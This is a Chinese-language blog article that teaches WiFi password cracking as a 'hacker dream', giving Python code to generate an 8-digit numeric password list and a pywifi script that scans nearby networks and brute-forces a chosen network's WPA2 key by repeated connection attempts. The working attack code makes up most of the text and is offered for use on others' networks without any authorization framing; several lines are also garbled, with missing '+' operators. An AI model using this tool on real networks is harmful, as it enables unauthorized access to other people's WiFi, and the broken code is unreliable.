tft每日頭條

 > 圖文

 > 我成為黑客

我成為黑客

圖文 更新时间:2025-01-25 03:39:29

WiFi破解應該是我們每個人都有的黑客夢,在某個公共區域,打開電腦,宛如黑客帝國裡的操作一樣,真帥,哈哈

首先假如WiFi密碼是8位數,

1、首先我們需要生成一個密碼本來記錄所有的可能的熱點密碼,這個密碼本中,需要列舉所有的密碼的可能性;

2、然後,用 Python 進行自動化的測試密碼直到連接成功為止。

一、代碼實現1、生成密碼本

密碼本的生成其實比較的簡單了啦。

思路其實就是對8個位置循環生成0,1。。。。。9的數字。

具體的代碼如下:(8個循環嵌套)

import os file_name = "making_pwd.txt" f = open(file_name, "w ") # 打開文件 for i in range(10): # 第一層循環 for j in range(10): # 第二層循環 for k in range(10): # 第三層循環 for q in range(10): # 第四層循環 for m in range(10): # 第五層循環 for n in range(10): # 第六層循環 for o in range(10): # 第七層循環 for p in range(10): # 第八層循環 insert_str = str(i) str(j) str(k) str(q) \ str(m) str(n) str(o) str(p) # 數據的拼接以及數據類型的轉換。 print(insert_str) f.write(insert_str) # 寫入密碼 f.write("\n") # 一個密碼換一次行 f.close() # 關閉文件 print("一個密碼本生成完畢了!")

核心代碼就是這個循環嵌套,本質也是十分簡單的啦:

下面再展示一遍核心代碼

file_name = "making_pwd.txt" f = open(file_name, "w ") # 打開文件 for i in range(10): # 第一層循環 for j in range(10): # 第二層循環 for k in range(10): # 第三層循環 for q in range(10): # 第四層循環 for m in range(10): # 第五層循環 for n in range(10): # 第六層循環 for o in range(10): # 第七層循環 for p in range(10): # 第八層循環 insert_str = str(i) str(j) str(k) str(q) \ str(m) str(n) str(o) str(p) # 數據的拼接以及數據類型的轉換。 print(insert_str) f.write(insert_str) # 寫入密碼 f.write("\n") # 一個密碼換一次行 f.close()

這樣生成的文件比較大,但是也沒有辦法了:

我成為黑客(完成你的黑客夢)1

2、利用密碼本進行自動化的測試

首先說一句,我們需要安裝 pywifi 這個模塊,沒有這個模塊的小夥伴可以先安裝一下。

然後,我們呢,直接上完整的全部的代碼,代碼的解析在注釋裡面都有,注釋有詳細的代碼解釋:

import pywifi import time from pywifi import const # 導入模塊 # WiFi掃描模塊 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() # 顯示掃描的信息。 for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' str(3 - i), end=')') print('\r掃描完成!\n' '-' * 38) print('\r{:4}{:6}{}'.format('編号', '信号強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num = 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI破解模塊 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍曆密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處于連接狀态時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 删除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀态為4代表連接成功(當嘗試時間大于1.5秒之後則為錯誤密碼,經測試測正确密碼一般都在1.5秒内連接,若要提高準确性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='') # 主函數 def main(): # 退出标緻 exit_flag = 0 # 目标編号 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編号,并對用戶輸入的編号進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編号在列表内,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次确認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},确定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,并判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('隻能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e if __name__ == '__main__': # main 函數 進行一個測試 main()

這裡需要注意下,我們需要手動選擇密碼本來進行測試,手動選擇密碼本!!

下面我們分模塊進行展示與解說:

導入模塊:

import pywifi import time from pywifi import const # 導入模塊

這個是定義的使用的掃描WiFi的一個方法,這個方法實現的功能是掃描局域網範圍内部的所有可以連接的WiFi,然後打印出來:

# WiFi掃描模塊 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() # 顯示掃描的信息。 for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' str(3 - i), end=')') print('\r掃描完成!\n' '-' * 38) print('\r{:4}{:6}{}'.format('編号', '信号強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num = 1 print('-' * 38) # 返回wifi列表 return wifi_name_list

這個是使用密碼本來進行密碼的自動化測試的函數:

# WIFI破解模塊 def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍曆密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處于連接狀态時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 删除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀态為4代表連接成功(當嘗試時間大于1.5秒之後則為錯誤密碼,經測試測正确密碼一般都在1.5秒内連接,若要提高準确性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')

這個函數是進行實際的操作來實現我們所想要的功能。

# 主函數 def main(): # 退出标緻 exit_flag = 0 # 目标編号 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編号,并對用戶輸入的編号進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編号在列表内,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次确認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},确定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,并判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('隻能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e

執行代碼的一個接口:

if __name__ == '__main__': # main 函數 進行一個測試 main()

3、結果展示

我成為黑客(完成你的黑客夢)2

四、後續總結

以上呢,就是我們的使用 Python 工具 Pycharm 來進行破解WiFi的密碼的一個案例的介紹,這種方式比較傻瓜式而且暴力,遇到複雜的密碼可能就不行了,耗時太多。

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关圖文资讯推荐

热门圖文资讯推荐

网友关注

Copyright 2023-2025 - www.tftnews.com All Rights Reserved